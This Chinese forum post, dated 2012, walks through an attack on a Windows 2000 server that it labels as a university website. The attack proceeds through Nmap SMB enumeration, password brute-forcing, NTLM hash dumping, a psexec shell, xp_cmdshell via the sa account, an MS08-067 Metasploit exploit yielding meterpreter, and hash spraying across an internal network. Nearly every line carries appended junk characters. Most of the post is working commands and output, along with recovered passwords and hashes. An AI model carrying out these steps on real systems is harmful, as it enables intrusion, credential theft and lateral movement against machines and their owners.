广西师范网站http://202.103.242.241/
6 b: e4 Z0 i7 j/ g c9 D
# {8 ?# |( E; G: I% H" ~4 ^root@bt:~# nmap -sS -sV 202.103.242.241
, ~9 r7 k) \! r. o
0 y2 }7 m3 S) D9 N- `Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
G$ y8 o' [ I) y6 `9 C- S
! k7 Y6 |) o7 S9 E7 E. Y8 D0 b4 T1 HNmap scan report for bogon (202.103.242.241). B" j( \: d0 l) C: F) Q9 A
1 I' F. I& X* \9 }1 u; U/ \& L
Host is up (0.00048s latency).. O I1 o, B C& D. G: B: K
) C7 Q; ^/ `% j0 {$ w' oNot shown: 993 closed ports0 k7 e, E/ v/ x- I/ T; ?" J+ f
9 J* y' S" L, b( u0 \/ kPORT STATE SERVICE VERSION& c8 c2 `5 S) [# d
# _+ _2 U% T( w- P% r
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
! b. a7 R: P3 _+ ^! |' m8 `* ~# @9 V+ @: j
139/tcp open netbios-ssn
& W5 B; Q5 a% p e& N2 w5 H0 L8 l; E
4 ]) @; F) }6 m6 Q# L445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
- y9 x2 ?4 b. }! H) T. Z. m' Y; L8 f# T4 W: N5 @, F8 k
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)/ t1 V# {5 k$ I8 {
7 B( E, I- L( @' T) \ J/ ^1026/tcp open msrpc Microsoft Windows RPC
$ k4 `8 W7 |% d4 b5 I
) h1 I" o- j/ A1 K$ z9 V6 i3372/tcp open msdtc?% H: i/ X F. s' h- c, `+ w+ @
" ~' P) S: r) h7 c3389/tcp open ms-term-serv?
1 Y8 n& _8 ]: k2 i8 F b# V2 {
7 N. b$ p4 M5 K$ n% N* \1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
+ l9 N! i7 V" X8 x8 F9 ?6 g# XSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r( {" r- M7 I4 F7 H* c/ `
0 L/ R6 k2 q& k! J& _3 |. {
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
9 Z. E; ~9 U9 @" [0 a( [! K! F* z: {$ t0 t3 W
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)% ~7 o; x0 ~1 d: t
0 N( W. r6 X' S: x$ _
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
! p( x5 G8 M- l( `9 Q+ Z9 N! l. k+ `; V% G
SF:ptions,6,”hO\n\x000Z”);
2 I. k, m( A E O9 b
( @! a' s, K- x9 N2 aMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)" O7 G+ x9 \0 o# w. j0 ^# R2 S
! w7 y v6 {; k8 e4 ~
Service Info: OS: Windows
1 z: l1 p. H9 ~* y" N
: {/ a8 t6 h7 x$ F$ TService detection performed. Please report any incorrect results at http://nmap.org/submit/ ., ^+ K% \/ h5 s- z4 N F
, v: {" [! W% P2 f* P& w P; g2 ?Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds, \; M$ t6 b8 ~" V7 ]0 h
1 k6 S% ^ U" o7 A l( g+ w# ^root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本8 n2 C, F$ d; j i
# v& F; _# n7 ?5 a$ u$ v) I
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse, j& x5 n/ P# }: e% v; C
2 h* i& i% g. ^3 I# o2 x; a
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
. v' t9 G' z. Y6 T: d+ h
" A: O* w5 k8 z-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
$ s3 T! _1 V. f3 m
. V7 n8 o8 m1 }/ P4 e6 r& P9 h-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
4 s" f& U; p1 m
: e, t$ ~2 Z @9 C$ T-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
( b/ |6 p8 A$ l# t; G3 K2 L" h; w. i
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse# T5 B4 T4 i. z$ E5 U0 _* p
% i7 Y) d, u1 L/ u
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
/ q0 r) ]. l- b1 S1 d# e3 Y$ l' L4 z& t
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse' [2 `$ h. }: [" k3 y( |
: g! ]9 y" h. A. E
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
2 Y9 Y3 `+ E8 c- t" M; A! l, I
- E6 P+ @7 G2 T/ {3 g; S4 B' g: C2 c-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
/ d1 Z6 I: [. q, G. i+ T! x9 T, g; P7 |2 O" K
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
: d8 `( X7 `" r
; V9 K3 x3 W, @! ^# o% E. k-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
) n; z9 e6 {9 l9 {% B5 |0 O" a! E; p# N; X
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse3 t7 Q0 B" B, @& w( q: t
3 H# }9 e* C" |' l* o6 j7 f+ z) X-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse- }& [8 P, A) U
" r; G' l( M. P( x7 }" B: S6 @-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
+ L) E2 q1 ~! H- E1 T( g
3 f' i8 D7 C" I- a4 y+ Lroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 0 z1 v: _7 w5 b& O
; H, N z' s2 l! q0 N7 N
//此乃使用脚本扫描远程机器所存在的账户名3 x" {2 d+ H# A( Z8 K I' N. p! I
: \- z8 v& v0 z, R' [$ QStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
( s. H: F7 d; l3 j# e1 U# {1 F
! h% i n: ~; J5 l6 \5 BNmap scan report for bogon (202.103.242.241)+ {: p8 P H& ?
3 f1 ~% u9 G- y) u* ~9 W) vHost is up (0.00038s latency).
% d9 V3 i; r+ e8 t( g4 D
0 U/ p4 h, D2 r: P ~) UNot shown: 993 closed ports5 c* @! A) |4 k* m [+ f
/ L F6 k) S8 d, e2 U& g; xPORT STATE SERVICE/ k" g, Q8 q3 T8 r
% \, F# }$ y/ s( [/ F! `0 ~! a6 o135/tcp open msrpc" m: g. a2 x# D! B" Z& L
; S3 \& X' f8 k+ }. H- h0 d
139/tcp open netbios-ssn$ z7 w, c8 @6 i: H7 e1 |9 E' U; n
% @$ q: ^% Z: g! V o& r c445/tcp open microsoft-ds
0 }0 y& R, t* K t. n+ ^
2 M. g3 Z( H+ E* p( c1 L1025/tcp open NFS-or-IIS; B2 b' f6 S2 k
: d0 L8 [' V& g; o( u/ S1026/tcp open LSA-or-nterm
; ?: f2 I5 o4 e2 ^9 W0 m
% W s9 j% E8 N$ |' f& s& l: f& b3372/tcp open msdtc
2 e* \" {& \9 N0 f7 t$ {! F
: B9 j7 [+ N# ?3389/tcp open ms-term-serv
& S4 K# x. g& b3 t4 D# p+ ^" U
! h7 T; J6 X1 ~& e/ G; ?, KMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
% ]# p \* G5 D% G; ^2 V) f [
/ v6 t) M0 y8 d! ~; }! ^# ~Host script results:1 @: `( `1 j/ S3 p5 a
. m% l. [1 \7 }# Q* s: N8 r8 O4 P
| smb-enum-users:# J* z) _! ~+ X' B. ?; {
7 u: Q: G' T/ C! R|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
/ Z4 c( N# u6 Y) }1 z* ]0 Z5 b% m1 {
% i' x X: C8 q% }" E; {Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds$ y! u3 s( h4 E! {( T8 Z
9 k2 X; V3 ]( X4 Q1 t2 troot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 " o; m+ |3 E2 @( S( v/ w) _( `
& |0 g% _8 H$ e
//查看共享3 l1 ~/ P8 U0 w! b0 _
6 w, }4 K; K! r$ B9 b+ [
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
5 B+ I" _- w" v. f: N; o7 S9 s" ?& f3 Q x
Nmap scan report for bogon (202.103.242.241)
. l% v. {+ b! J/ t: h8 q$ ?) U; P% `7 b8 Z2 ~
Host is up (0.00035s latency).3 Z$ Z/ n( L4 m9 B8 r# q6 N
, r8 D) k2 c$ [6 |/ c% I: _# `
Not shown: 993 closed ports! ~0 l6 n$ `3 \9 _) ~
' |4 K1 E4 `, \: u' \- J
PORT STATE SERVICE3 ~9 B" z" M. M$ a+ R* H% H
0 f5 h5 m$ p: J4 [' H135/tcp open msrpc
{$ y/ z% ~1 T7 ~1 o+ [$ D% N- L# Q; d
139/tcp open netbios-ssn
7 Q2 `4 d3 ?5 |" c+ d+ A3 M! I8 C2 {2 f7 e" b3 w# m: U6 r
445/tcp open microsoft-ds) ]! u! X9 |: G: n8 q" G; [
6 u, m/ _) I+ |6 a1 R8 f1025/tcp open NFS-or-IIS8 E+ t# f. ]: L7 O. o- p. _
) o2 s* g2 Q0 W2 F1026/tcp open LSA-or-nterm- v& |* @8 k' z- ~6 g5 [: w9 l
6 k% Y6 ^9 T3 D8 ^# \. p
3372/tcp open msdtc
2 a ^: J3 Z# K+ J. v' n% g% {
$ L& l% J2 ]# d6 F1 i3389/tcp open ms-term-serv
9 `% u$ b. V; C9 z0 A! C; ]$ o( n7 |9 h: Z/ Q1 D2 b, T O6 x$ Z
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)" m+ G$ C6 p8 y! d/ Z& q4 C/ g
9 W. g! _& C% n8 LHost script results:
, x, ]- V9 ^% x ?1 f2 W
% e H2 |& h8 b; v1 A" F| smb-enum-shares:0 z; t# y4 l R H- ~$ Q( x# W
, Z. O, d1 i* @" e# n. y| ADMIN$2 s* }% k6 J& \+ O) X
( x8 o5 e1 }2 P* E3 d| Anonymous access: <none>0 P4 ^8 H$ U' a' V
* g: U H0 d& w5 x# x _& O| C$
! e: g+ C8 `8 h: {) [* J0 t' ~) g$ [5 O+ l% M
| Anonymous access: <none>7 D" a( k, t" t* e/ E+ U4 J4 A
+ f" r4 P! }, U }& H m| IPC$
8 m* I- S2 o, e
% e. B6 u8 u$ N2 ^|_ Anonymous access: READ
* |& }$ P- q h! ] S! J* A- q g" E: _3 X
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
4 i3 {4 N$ b; f' v8 ^9 V9 z: D* G, g0 `6 T8 Z5 G
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
3 w X& r* y0 d" L4 M3 M- _9 M
6 n+ A" k. w+ N//获取用户密码; _ ~+ Q5 @" h [: k2 {
4 H0 O/ e+ ]1 R0 O
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
: H& I. c" `" e6 m& J6 \
{) l P& Z, xNmap scan report for bogon (202.103.242.2418). G1 Y: u! B7 {1 v% n0 l* l5 {
" e6 d% B! V% [7 t, w8 ]
Host is up (0.00041s latency).
/ Y* Y' a2 h- G6 s$ }3 J) d& |) T3 K9 A# c! a/ g( f" H5 ]
Not shown: 993 closed ports3 G5 g/ e$ [6 p G8 N2 i
$ _' _$ `1 F: n# c; ^: C' ~. uPORT STATE SERVICE% M' k$ r1 t! j! S$ }% h; \
]$ K% i: g% g. e135/tcp open msrpc. G/ R$ T0 V' x
- N9 C6 A- M h+ p- f6 D
139/tcp open netbios-ssn
$ D+ E, U4 n" q- A: s' K$ }3 w) X* E& J2 w5 u/ ]* Q0 F4 ?
445/tcp open microsoft-ds
/ u4 A% x" \" f% p* B2 ?' B6 g
: ?. |# s2 H# e6 R# C1025/tcp open NFS-or-IIS2 A* q3 e- w1 u: a2 [% |7 h1 Z
# u/ ~, ~' _7 U9 v. J! s6 `1026/tcp open LSA-or-nterm
* X! d% b1 W, J4 S* V6 k. r5 M( {1 W; C) Y& [) S
3372/tcp open msdtc
( W8 Q Z* S- q
! l" l5 M9 f( Z; l9 c" g, m+ c3389/tcp open ms-term-serv( l# g) |1 C" d* a" _/ p
6 E& Z; t3 |2 y& F" N& b. F* X |
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! z7 y+ a( c6 h+ j& U- T* J$ n3 c2 B3 O' T
2 ~# |' R$ P: c3 m" j
Host script results:
: e" {% g2 b2 C! b+ b" p8 c! ?0 y5 B4 H* t
| smb-brute:
. L2 {7 |' O, i9 a& l/ r" m3 P% @! S O" v( k! ~) h/ V
administrator:<blank> => Login was successful
. ~0 h3 i; Q" J! q" Q9 X2 _2 u- P4 {
|_ test:123456 => Login was successful
: B( c \3 J( E0 @& Z& h8 D. g1 L2 Z& h& k3 k) d# j
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
' e5 y+ {8 K3 D( z, r$ K$ B
' I5 Y0 I5 v; ~7 S9 O, D% Proot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash6 ~/ o. M7 \7 W1 o3 o* H; @
& A' X/ z' _# D
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
# s1 P2 y# g$ m3 D. ?8 f" ]) p: _/ [/ d
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
) w8 @/ m1 e, e
, [ c( H4 j$ Kroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
. b7 [, g# L9 x0 j, J B# h+ A1 c& M% L% K# O/ H
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST; A. }% y: G; n1 s- Q* e, a" I
5 s J+ o$ K3 O0 v6 F9 L0 a( f
Nmap scan report for bogon (202.103.242.241)
& ^, }8 W3 Y) k* l2 L: A- U& N5 Q3 ?' X9 ^* h: J* n
Host is up (0.0012s latency).5 W3 _2 O2 f/ ?# }- z" Y
9 t9 ?9 {( T5 U1 l) }; B8 K
PORT STATE SERVICE. B% f7 R! q* r/ b- n. k- @' b
1 W! ?4 j' }* ]1 b! z# J, U
135/tcp open msrpc" \; g) F" b9 O" r2 O" Y* |, @* x+ [
" {- d# {. B" S& g139/tcp open netbios-ssn3 q# R0 v z' g5 i, H+ v" x2 F
* J8 T( Q! }" U8 V
445/tcp open microsoft-ds' l+ h5 a8 h/ @. w: X; Q
& ~8 \9 a- w& b2 O0 F" F6 N
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ k# I: x! v# q- B$ s. B
& m4 U9 V. t# M) }, m# SHost script results:
7 A' x- A& n! E3 I, b1 @- u; w0 B0 d
| smb-pwdump:
% n+ D) e: M- u6 D2 G( O$ K
# n8 C- G7 S, r- n% }2 z' ]; Y8 R| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
3 f u4 s4 h( q4 @ {5 u
: V( k, j: y8 g( Q| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
/ h4 x7 @1 H4 G+ T; ]
1 ~4 p+ C4 E1 g% n| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4. m. K1 o( N7 D+ a8 o- x
$ y! ^2 L7 M- s8 U5 B. p! o, @
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
: y& U' b1 e& f% N( ?2 b; Q8 \' A% b' \5 @' e0 n
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
0 S) i6 ^3 ]5 a! s$ O# g. r, H% x! E) _- s! C
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
5 O% Q9 n4 n- M: H0 }8 x4 U W
& R; I w8 ^- M6 d-p 123456 -e cmd.exe- I3 w+ Y; Q- p# M# M( T& T
, O3 S4 d9 A0 o5 {7 j2 w0 T
PsExec v1.55 – Execute processes remotely
% i8 z7 a' K2 ^1 I/ ]: A5 K
# F; C I$ ]; W# q9 ]4 tCopyright (C) 2001-2004 Mark Russinovich
1 ]3 t% h) g& ^5 ^
& e1 P3 m- {" O! h8 o3 @0 iSysinternals – www.sysinternals.com
4 ?, q* ?* \3 s2 x; n& ~- N
. H8 P! a) K1 G. V; a& ?' [Microsoft Windows 2000 [Version 5.00.2195]- h0 O4 G: M$ |! Q% k2 K
; H; r t7 v% L9 \& W7 ?(C) 版权所有 1985-2000 Microsoft Corp.1 a6 w, z' @" e! M9 o
+ N( H* C! U( w% m3 tC:\WINNT\system32>ipconfig8 k! B) K5 b& _- u) ~
' h+ v4 {+ s3 J# Q, C4 u- U
Windows 2000 IP Configuration p: C8 t" U: G+ p5 q/ ?( X" M* S
: c* e1 _( `8 j: o( G1 h8 U
Ethernet adapter 本地连接:# q, L9 Q- N4 @5 m6 e
/ j! y) K( n7 ?# ^Connection-specific DNS Suffix . :& H2 |! H6 ^+ X( M) V$ [. j8 G
5 x5 X: {& |! K1 C
IP Address. . . . . . . . . . . . : 202.103.242.241
0 C' v' E% D6 \! h( Z& L+ C6 |0 R! V p
Subnet Mask . . . . . . . . . . . : 255.255.255.0& T. W, g9 A3 a8 T, J
: `5 x" g$ `% _/ A, MDefault Gateway . . . . . . . . . : 202.103.1.1
0 s8 `% ]) B. U7 W* C/ r2 G3 W" C, q/ A5 e+ S5 c
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令; X7 G/ R$ K7 u. y( e
8 ]+ W$ s& C/ Q5 w0 _' iroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞# Z; v1 P5 v: l
5 A% q% n w9 L
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
2 ^! M" y) S6 T5 k" l0 _0 N1 C: i' i; z" a) R& a: s: ?8 L
Nmap scan report for bogon (202.103.242.241)) y' E3 F3 ~2 h. _( K8 w
0 N+ D t O3 r0 c: Q0 UHost is up (0.00046s latency).% W0 C4 n* B8 \ a$ a N6 R2 `
5 r. F* ~. g0 {! kNot shown: 993 closed ports
% Y4 q/ v& A9 }, ^1 F8 r5 Z' b @' P4 H! P0 U
6 |5 W- N) ]! Z$ yPORT STATE SERVICE% H ~. s3 @2 B
; ]6 p+ R7 n- f# R( w) r6 X" }135/tcp open msrpc$ b; Y3 V8 H+ Y( Q
+ q+ s3 }0 `% x( H; \139/tcp open netbios-ssn
# Y. x1 K! c; x7 o! R! x
5 f3 g |3 |0 H, M+ w. K445/tcp open microsoft-ds% [% S6 @, z% i% Y$ z" V% D; D
' U$ c X. X. D7 D' n+ Q [
1025/tcp open NFS-or-IIS" R% L" s4 R2 ]% D6 P7 j
# G$ @2 C5 d4 a) A+ ]) n G/ d1026/tcp open LSA-or-nterm9 f8 P4 ~5 t5 C
! ~# Y0 d c2 c
3372/tcp open msdtc" e' \2 |, j, `7 Z
& X" C4 N: w3 F" u6 J" B: ]
3389/tcp open ms-term-serv
: p" E2 t) w* I- b2 X Y2 ^/ R- Q0 D
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
w( F7 |) \ |9 d* y( d8 z' V9 X3 s
$ ]( B) E% O' q; ?4 a! cHost script results:
5 _, w: i( j! K
, y5 Y; o# x1 \0 j9 \/ ?- F| smb-check-vulns:/ D; i5 y B6 G9 w9 b$ V+ l4 `
6 X2 B- c h7 Z5 s
|_ MS08-067: VULNERABLE
) {5 M) b0 X) X' C
9 l9 h, X9 O8 o! U) v+ r" g( i8 ZNmap done: 1 IP address (1 host up) scanned in 1.43 seconds c, ]- j, }5 P4 D6 a$ _! H
) m3 A4 ]# Q/ {- P! |- u* q6 Qroot@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
/ x. ?0 S) I0 p( E; v
, Q( F2 a! {* B6 G- i2 J, E3 amsf > search ms082 R6 ~, U% ?3 ]$ J' }
6 Z; |. T7 z5 z) x* ^msf > use exploit/windows/smb/ms08_067_netapi
/ D4 b0 l; P: U2 k5 m1 s# b% g( ~- r
msf exploit(ms08_067_netapi) > show options
" t4 f- i6 Z" C" L' k. C1 d7 G2 Z5 i* N B' [7 q; a
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241# h, ~7 e6 @* g* i" B% j
; I( m1 V( v4 M, Zmsf exploit(ms08_067_netapi) > show payloads) i+ i& U; ]3 n
- K+ Q9 j+ _4 s+ P0 I
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
6 g4 w7 z; R- h0 U0 j" X
! ]* b. X6 i' O: z( Amsf exploit(ms08_067_netapi) > exploit3 N# X- j# q& l. z: O7 m
Y( C% g' t2 ~* }% D6 C3 [
meterpreter >4 S# C! r* H' |: O; c8 o! {8 r
- m2 g9 B z* l1 J7 W/ D: R2 sBackground session 2? [y/N] (ctrl+z)
: Z% I) W0 q" c" ]+ O* K1 }
' U+ v# U7 w2 `& umsf exploit(ms08_067_netapi) > sessions -l
/ Z* ~- k2 }, A1 l; z, p3 ^1 k* {# m
! ^& Y Y4 e" K X+ f8 Iroot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
- g2 ~" ?3 I" z& y& v. H6 o4 f1 g
' ]4 o. t+ A" {6 K1 Otest' s+ y2 `0 o+ W3 h
8 Z0 T% J* t8 C( V) k! Xadministrator
% Y# e, A& a2 l8 M H5 z* O
, R, z8 K' g% @3 I9 groot@bt:/usr/local/share/nmap/scripts# vim password.txt
( ~0 s: O3 E) r1 k; D' g" x
! p1 P k1 A3 s) N44EFCE164AB921CAAAD3B435B51404EE
1 z6 _- I* i& s, s: ~( t. R# t
7 S9 {9 Y% |* ^9 Uroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
% o. k5 ^# [0 Z* M/ _! B0 `9 d# _) |5 \2 h) e
//利用用户名跟获取的hash尝试对整段内网进行登录
L7 Y6 o3 \# I$ A3 B7 p a
% d+ ^* B* q3 p: Q2 U5 JNmap scan report for 192.168.1.105# B( J. J( _7 y! T( m# S
M( V; X* s2 n! Z3 U' \) Y7 C. e
Host is up (0.00088s latency).
1 h! i3 q h* {7 h. Y/ ^( d
! k+ w) e2 l/ X1 E/ } }Not shown: 993 closed ports V! N* k& T% y- A1 Q8 f# Z
- I# y0 c, B* y2 P) D
PORT STATE SERVICE# F- I% v5 b3 F; p* d
/ z2 j' Y* R! b- q! s
135/tcp open msrpc4 ]: L: {, s, t. m
; G+ n6 r( n) z139/tcp open netbios-ssn2 s4 x6 v- \; q8 D, S6 ]- ~2 |% F
6 H# I8 M. s8 B
445/tcp open microsoft-ds) \0 t1 [1 Y9 J1 ?7 H
0 p4 G( H9 d: D, r N1025/tcp open NFS-or-IIS. `8 N( m' c1 x( Y' j1 L
0 X! C$ h; H2 o
1026/tcp open LSA-or-nterm4 z! `: S$ ~" r! Q: _( `. x* @) T
$ Q) R$ ^4 p' p' h0 q7 v3372/tcp open msdtc; |, a- l# G# r3 \! j
0 j& J5 g% `* j: k3389/tcp open ms-term-serv1 J$ s( z/ t# g n: c% ?1 K
, V8 A* Y6 g, K5 t) v! ?MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
" m1 s S: S1 c" p7 k- l
; n. x1 J3 W$ S9 C6 R# Z, l4 A* DHost script results:; H+ V4 `0 r# B6 f
; B- G/ B$ o q8 J# V0 n1 }| smb-brute:
' o4 V- J/ `. b' {
) k% p2 i* E! n, }. ||_ administrator:<blank> => Login was successful, Y H7 X1 j# o2 P
' k. f V- e3 e; F0 o4 n+ F
攻击成功，一个简单的msf+nmap攻击~~·
6 D; {3 U0 {' H; g @ {. U. s9 l5 J. v {
|
发表于 2012-12-4 12:46:42
收藏
支持
反对